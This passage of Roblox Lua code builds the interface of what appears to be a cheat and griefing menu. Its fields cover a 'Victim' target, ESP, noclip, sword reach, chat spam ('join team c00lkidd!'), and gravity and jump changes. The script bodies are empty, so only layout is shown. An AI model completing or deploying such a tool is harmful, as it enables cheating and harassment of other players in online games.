G2L["3d"]["Name"] = [[SettingsCloseOpen]];


-- StarterGui.CoolGui.Frame.Settings.addonr
G2L["3e"] = Instance.new("TextButton", G2L["3a"]);
G2L["3e"]["BorderSizePixel"] = 3;
G2L["3e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3e"]["TextSize"] = 48;
G2L["3e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3e"]["Size"] = UDim2.new(0.5, -3, 0, 40);
G2L["3e"]["Name"] = [[addonr]];
G2L["3e"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["3e"]["Text"] = [[>]];
G2L["3e"]["Position"] = UDim2.new(0.5, 3, 0, 40);


-- StarterGui.CoolGui.Frame.Settings.addonr.LocalScript
G2L["3f"] = Instance.new("LocalScript", G2L["3e"]);



-- StarterGui.CoolGui.Frame.Settings.addonl
G2L["40"] = Instance.new("TextButton", G2L["3a"]);
G2L["40"]["BorderSizePixel"] = 3;
G2L["40"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["40"]["TextSize"] = 48;
G2L["40"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["40"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["40"]["Size"] = UDim2.new(0.5, 0, 0, 40);
G2L["40"]["Name"] = [[addonl]];
G2L["40"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["40"]["Text"] = [[<]];
G2L["40"]["Position"] = UDim2.new(0, 0, 0, 40);


-- StarterGui.CoolGui.Frame.Settings.addonl.LocalScript
G2L["41"] = Instance.new("LocalScript", G2L["40"]);



-- StarterGui.CoolGui.Frame.Settings.Save
G2L["42"] = Instance.new("TextButton", G2L["3a"]);
G2L["42"]["BorderSizePixel"] = 3;
G2L["42"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["42"]["TextSize"] = 18;
G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["42"]["ZIndex"] = 3;
G2L["42"]["Size"] = UDim2.new(0, 150, 0, 20);
G2L["42"]["Name"] = [[Save]];
G2L["42"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["42"]["Text"] = [[Save IDs]];
G2L["42"]["Position"] = UDim2.new(0, 0, 0.6, 140);


-- StarterGui.CoolGui.Frame.Settings.Page
G2L["43"] = Instance.new("Frame", G2L["3a"]);
G2L["43"]["ZIndex"] = 2;
G2L["43"]["BorderSizePixel"] = 3;
G2L["43"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["43"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["43"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["43"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["43"]["Name"] = [[Page]];


-- StarterGui.CoolGui.Frame.Settings.Page.PageLabel
G2L["44"] = Instance.new("TextLabel", G2L["43"]);
G2L["44"]["ZIndex"] = 2;
G2L["44"]["BorderSizePixel"] = 3;
G2L["44"]["TextSize"] = 14;
G2L["44"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["44"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["44"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["44"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["44"]["Text"] = [[Page 1]];
G2L["44"]["Name"] = [[PageLabel]];
G2L["44"]["Position"] = UDim2.new(0, 0, 1, -30);


-- StarterGui.CoolGui.Frame.Settings.Page.Section2
G2L["45"] = Instance.new("Frame", G2L["43"]);
G2L["45"]["Active"] = true;
G2L["45"]["BorderSizePixel"] = 3;
G2L["45"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["45"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["45"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["45"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["45"]["Name"] = [[Section2]];


-- StarterGui.CoolGui.Frame.Settings.Page.Section2.vicid
G2L["46"] = Instance.new("TextBox", G2L["45"]);
G2L["46"]["Name"] = [[vicid]];
G2L["46"]["BorderSizePixel"] = 3;
G2L["46"]["TextSize"] = 14;
G2L["46"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["46"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["46"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["46"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["46"]["Position"] = UDim2.new(0, 0, 0, 33);
G2L["46"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["46"]["Text"] = [[Roblox]];


-- StarterGui.CoolGui.Frame.Settings.Page.Section2.mpid
G2L["47"] = Instance.new("TextBox", G2L["45"]);
G2L["47"]["CursorPosition"] = -1;
G2L["47"]["Name"] = [[mpid]];
G2L["47"]["BorderSizePixel"] = 3;
G2L["47"]["TextSize"] = 14;
G2L["47"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["47"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["47"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["47"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["47"]["Position"] = UDim2.new(0, 0, 0, 99);
G2L["47"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["47"]["Text"] = [[1]];


-- StarterGui.CoolGui.Frame.Settings.Page.Section2.bgid
G2L["48"] = Instance.new("TextBox", G2L["45"]);
G2L["48"]["Name"] = [[bgid]];
G2L["48"]["BorderSizePixel"] = 3;
G2L["48"]["TextSize"] = 14;
G2L["48"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["48"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["48"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["48"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["48"]["Position"] = UDim2.new(0, 0, 0, 231);
G2L["48"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["48"]["Text"] = [[c00lkidd]];


-- StarterGui.CoolGui.Frame.Settings.Page.Section2.Label
G2L["49"] = Instance.new("TextLabel", G2L["45"]);
G2L["49"]["BorderSizePixel"] = 3;
G2L["49"]["TextSize"] = 14;
G2L["49"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["49"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["49"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["49"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["49"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["49"]["Text"] = [[Victim]];
G2L["49"]["Name"] = [[Label]];


-- StarterGui.CoolGui.Frame.Settings.Page.Section2.Label
G2L["4a"] = Instance.new("TextLabel", G2L["45"]);
G2L["4a"]["BorderSizePixel"] = 3;
G2L["4a"]["TextSize"] = 14;
G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["4a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4a"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["4a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["4a"]["Text"] = [[Music Pitch]];
G2L["4a"]["Name"] = [[Label]];
G2L["4a"]["Position"] = UDim2.new(0, 0, 0.22449, 0);


-- StarterGui.CoolGui.Frame.Settings.Page.Section2.Label
G2L["4b"] = Instance.new("TextLabel", G2L["45"]);
G2L["4b"]["BorderSizePixel"] = 3;
G2L["4b"]["TextSize"] = 14;
G2L["4b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["4b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4b"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["4b"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["4b"]["Text"] = [[ESP]];
G2L["4b"]["Name"] = [[Label]];
G2L["4b"]["Position"] = UDim2.new(0, 0, 0.44898, 0);


-- StarterGui.CoolGui.Frame.Settings.Page.Section2.Label
G2L["4c"] = Instance.new("TextLabel", G2L["45"]);
G2L["4c"]["BorderSizePixel"] = 3;
G2L["4c"]["TextSize"] = 14;
G2L["4c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["4c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4c"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["4c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["4c"]["Text"] = [[Billboard Gui Text]];
G2L["4c"]["Name"] = [[Label]];
G2L["4c"]["Position"] = UDim2.new(0, 0, 0.67347, 0);


-- StarterGui.CoolGui.Frame.Settings.Page.Section2.espbut
G2L["4d"] = Instance.new("TextButton", G2L["45"]);
G2L["4d"]["BorderSizePixel"] = 3;
G2L["4d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4d"]["TextSize"] = 14;
G2L["4d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4d"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["4d"]["Name"] = [[espbut]];
G2L["4d"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["4d"]["Text"] = [[Off]];
G2L["4d"]["Position"] = UDim2.new(0, 0, 0, 165);


-- StarterGui.CoolGui.Frame.Settings.Page.Section2.espbut.LocalScript
G2L["4e"] = Instance.new("LocalScript", G2L["4d"]);



-- StarterGui.CoolGui.Frame.Settings.Page.Section1
G2L["4f"] = Instance.new("Frame", G2L["43"]);
G2L["4f"]["Active"] = true;
G2L["4f"]["BorderSizePixel"] = 3;
G2L["4f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4f"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["4f"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["4f"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["4f"]["Name"] = [[Section1]];


-- StarterGui.CoolGui.Frame.Settings.Page.Section1.Label
G2L["50"] = Instance.new("TextLabel", G2L["4f"]);
G2L["50"]["BorderSizePixel"] = 3;
G2L["50"]["TextSize"] = 14;
G2L["50"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["50"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["50"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["50"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["50"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["50"]["Text"] = [[Skybox/Decal ID]];
G2L["50"]["Name"] = [[Label]];


-- StarterGui.CoolGui.Frame.Settings.Page.Section1.sdid
G2L["51"] = Instance.new("TextBox", G2L["4f"]);
G2L["51"]["Name"] = [[sdid]];
G2L["51"]["BorderSizePixel"] = 3;
G2L["51"]["TextSize"] = 14;
G2L["51"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["51"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["51"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["51"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["51"]["Position"] = UDim2.new(0, 0, 0, 33);
G2L["51"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["51"]["Text"] = [[78829839839537]];


-- StarterGui.CoolGui.Frame.Settings.Page.Section1.mid
G2L["52"] = Instance.new("TextBox", G2L["4f"]);
G2L["52"]["Name"] = [[mid]];
G2L["52"]["BorderSizePixel"] = 3;
G2L["52"]["TextSize"] = 14;
G2L["52"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["52"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["52"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["52"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["52"]["Position"] = UDim2.new(0, 0, 0, 99);
G2L["52"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["52"]["Text"] = [[99986264226275]];


-- StarterGui.CoolGui.Frame.Settings.Page.Section1.Label
G2L["53"] = Instance.new("TextLabel", G2L["4f"]);
G2L["53"]["BorderSizePixel"] = 3;
G2L["53"]["TextSize"] = 14;
G2L["53"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["53"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["53"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["53"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["53"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["53"]["Text"] = [[Music ID]];
G2L["53"]["Name"] = [[Label]];
G2L["53"]["Position"] = UDim2.new(0, 0, 0.22449, 0);


-- StarterGui.CoolGui.Frame.Settings.Page.Section1.Label
G2L["54"] = Instance.new("TextLabel", G2L["4f"]);
G2L["54"]["BorderSizePixel"] = 3;
G2L["54"]["TextSize"] = 14;
G2L["54"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["54"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["54"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["54"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["54"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["54"]["Text"] = [[Noclip]];
G2L["54"]["Name"] = [[Label]];
G2L["54"]["Position"] = UDim2.new(0, 0, 0.44898, 0);


-- StarterGui.CoolGui.Frame.Settings.Page.Section1.noclipbut
G2L["55"] = Instance.new("TextButton", G2L["4f"]);
G2L["55"]["BorderSizePixel"] = 3;
G2L["55"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["55"]["TextSize"] = 14;
G2L["55"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["55"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["55"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["55"]["Name"] = [[noclipbut]];
G2L["55"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["55"]["Text"] = [[Off]];
G2L["55"]["Position"] = UDim2.new(0, 0, 0, 165);


-- StarterGui.CoolGui.Frame.Settings.Page.Section1.noclipbut.LocalScript
G2L["56"] = Instance.new("LocalScript", G2L["55"]);



-- StarterGui.CoolGui.Frame.Settings.Page.Section1.Label
G2L["57"] = Instance.new("TextLabel", G2L["4f"]);
G2L["57"]["BorderSizePixel"] = 3;
G2L["57"]["TextSize"] = 14;
G2L["57"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["57"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["57"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["57"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["57"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["57"]["Text"] = [[Sword Reach]];
G2L["57"]["Name"] = [[Label]];
G2L["57"]["Position"] = UDim2.new(0, 0, 0.67347, 0);


-- StarterGui.CoolGui.Frame.Settings.Page.Section1.reid
G2L["58"] = Instance.new("TextBox", G2L["4f"]);
G2L["58"]["Name"] = [[reid]];
G2L["58"]["BorderSizePixel"] = 3;
G2L["58"]["TextSize"] = 14;
G2L["58"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["58"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["58"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["58"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["58"]["Position"] = UDim2.new(0, 0, 0, 231);
G2L["58"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["58"]["Text"] = [[1337]];


-- StarterGui.CoolGui.Frame.Settings.Load
G2L["59"] = Instance.new("TextButton", G2L["3a"]);
G2L["59"]["BorderSizePixel"] = 3;
G2L["59"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["59"]["TextSize"] = 18;
G2L["59"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["59"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["59"]["ZIndex"] = 3;
G2L["59"]["Size"] = UDim2.new(0, 147, 0, 20);
G2L["59"]["Name"] = [[Load]];
G2L["59"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["59"]["Text"] = [[Load IDs]];
G2L["59"]["Position"] = UDim2.new(0.51, 0, 0.6, 140);


-- StarterGui.CoolGui.Frame.Settings.Page2
G2L["5a"] = Instance.new("Frame", G2L["3a"]);
G2L["5a"]["Visible"] = false;
G2L["5a"]["ZIndex"] = 2;
G2L["5a"]["BorderSizePixel"] = 3;
G2L["5a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5a"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["5a"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["5a"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["5a"]["Name"] = [[Page2]];


-- StarterGui.CoolGui.Frame.Settings.Page2.PageLabel
G2L["5b"] = Instance.new("TextLabel", G2L["5a"]);
G2L["5b"]["ZIndex"] = 2;
G2L["5b"]["BorderSizePixel"] = 3;
G2L["5b"]["TextSize"] = 14;
G2L["5b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5b"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["5b"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["5b"]["Text"] = [[Page 2]];
G2L["5b"]["Name"] = [[PageLabel]];
G2L["5b"]["Position"] = UDim2.new(0, 0, 1, -30);


-- StarterGui.CoolGui.Frame.Settings.Page2.Section2
G2L["5c"] = Instance.new("Frame", G2L["5a"]);
G2L["5c"]["Active"] = true;
G2L["5c"]["BorderSizePixel"] = 3;
G2L["5c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5c"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["5c"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["5c"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["5c"]["Name"] = [[Section2]];


-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.nameid
G2L["5d"] = Instance.new("TextBox", G2L["5c"]);
G2L["5d"]["Name"] = [[nameid]];
G2L["5d"]["BorderSizePixel"] = 3;
G2L["5d"]["TextSize"] = 14;
G2L["5d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5d"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["5d"]["Position"] = UDim2.new(0, 0, 0, 33);
G2L["5d"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["5d"]["Text"] = [[God]];


-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.spamid
G2L["5e"] = Instance.new("TextBox", G2L["5c"]);
G2L["5e"]["Name"] = [[spamid]];
G2L["5e"]["BorderSizePixel"] = 3;
G2L["5e"]["TextSize"] = 14;
G2L["5e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5e"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["5e"]["Position"] = UDim2.new(0, 0, 0, 99);
G2L["5e"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["5e"]["Text"] = [[join team c00lkidd!]];


-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.jumpid
G2L["5f"] = Instance.new("TextBox", G2L["5c"]);
G2L["5f"]["Name"] = [[jumpid]];
G2L["5f"]["BorderSizePixel"] = 3;
G2L["5f"]["TextSize"] = 14;
G2L["5f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5f"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["5f"]["Position"] = UDim2.new(0, 0, 0, 231);
G2L["5f"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["5f"]["Text"] = [[100]];


-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.Label
G2L["60"] = Instance.new("TextLabel", G2L["5c"]);
G2L["60"]["BorderSizePixel"] = 3;
G2L["60"]["TextSize"] = 14;
G2L["60"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["60"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["60"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["60"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["60"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["60"]["Text"] = [[Name]];
G2L["60"]["Name"] = [[Label]];


-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.Label
G2L["61"] = Instance.new("TextLabel", G2L["5c"]);
G2L["61"]["BorderSizePixel"] = 3;
G2L["61"]["TextSize"] = 14;
G2L["61"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["61"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["61"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["61"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["61"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["61"]["Text"] = [[Chat Spam Text]];
G2L["61"]["Name"] = [[Label]];
G2L["61"]["Position"] = UDim2.new(0, 0, 0.22449, 0);


-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.Label
G2L["62"] = Instance.new("TextLabel", G2L["5c"]);
G2L["62"]["BorderSizePixel"] = 3;
G2L["62"]["TextSize"] = 14;
G2L["62"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["62"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["62"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["62"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["62"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["62"]["Text"] = [[Gravity Amount]];
G2L["62"]["Name"] = [[Label]];
G2L["62"]["Position"] = UDim2.new(0, 0, 0.44898, 0);


-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.Label
G2L["63"] = Instance.new("TextLabel", G2L["5c"]);
G2L["63"]["BorderSizePixel"] = 3;
G2L["63"]["TextSize"] = 14;
G2L["63"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["63"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["63"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["63"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["63"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["63"]["Text"] = [[JumpPower Amount]];
G2L["63"]["Name"] = [[Label]];
G2L["63"]["Position"] = UDim2.new(0, 0, 0.67347, 0);


-- StarterGui.CoolGui.Frame.Settings.Page2.Section2.gravid
G2L["64"] = Instance.new("TextBox", G2L["5c"]);
G2L["64"]["Name"] = [[gravid]];
G2L["64"]["BorderSizePixel"] = 3;
G2L["64"]["TextSize"] = 14;
G2L["64"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["64"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["64"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["64"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["64"]["Position"] = UDim2.new(0, 0, 0, 165);
G2L["64"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["64"]["Text"] = [[0]];


-- StarterGui.CoolGui.Frame.Settings.Page2.Section1
G2L["65"] = Instance.new("Frame", G2L["5a"]);
G2L["65"]["Active"] = true;
G2L["65"]["BorderSizePixel"] = 3;
G2L["65"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["65"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["65"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["65"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["65"]["Name"] = [[Section1]];


-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.Label
G2L["66"] = Instance.new("TextLabel", G2L["65"]);
G2L["66"]["BorderSizePixel"] = 3;
G2L["66"]["TextSize"] = 14;
G2L["66"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["66"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["66"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["66"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["66"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["66"]["Text"] = [[Billboard Gui Color]];
G2L["66"]["Name"] = [[Label]];


-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.are
G2L["67"] = Instance.new("TextBox", G2L["65"]);
G2L["67"]["Name"] = [[are]];
G2L["67"]["BorderSizePixel"] = 3;
G2L["67"]["TextSize"] = 14;
G2L["67"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["67"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["67"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["67"]["Size"] = UDim2.new(0.333, 0, 0, 30);
G2L["67"]["Position"] = UDim2.new(0, 0, 0, 33);
G2L["67"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["67"]["Text"] = [[0]];


-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.animid
G2L["68"] = Instance.new("TextBox", G2L["65"]);
G2L["68"]["Name"] = [[animid]];
G2L["68"]["BorderSizePixel"] = 3;
G2L["68"]["TextSize"] = 14;
G2L["68"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["68"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["68"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["68"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["68"]["Position"] = UDim2.new(0, 0, 0, 99);
G2L["68"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["68"]["Text"] = [[161099825]];


-- StarterGui.CoolGui.Frame.Settings.Page2.Section1.Label
G2L["69"] = Instance.new("TextLabel", G2L["65"]);
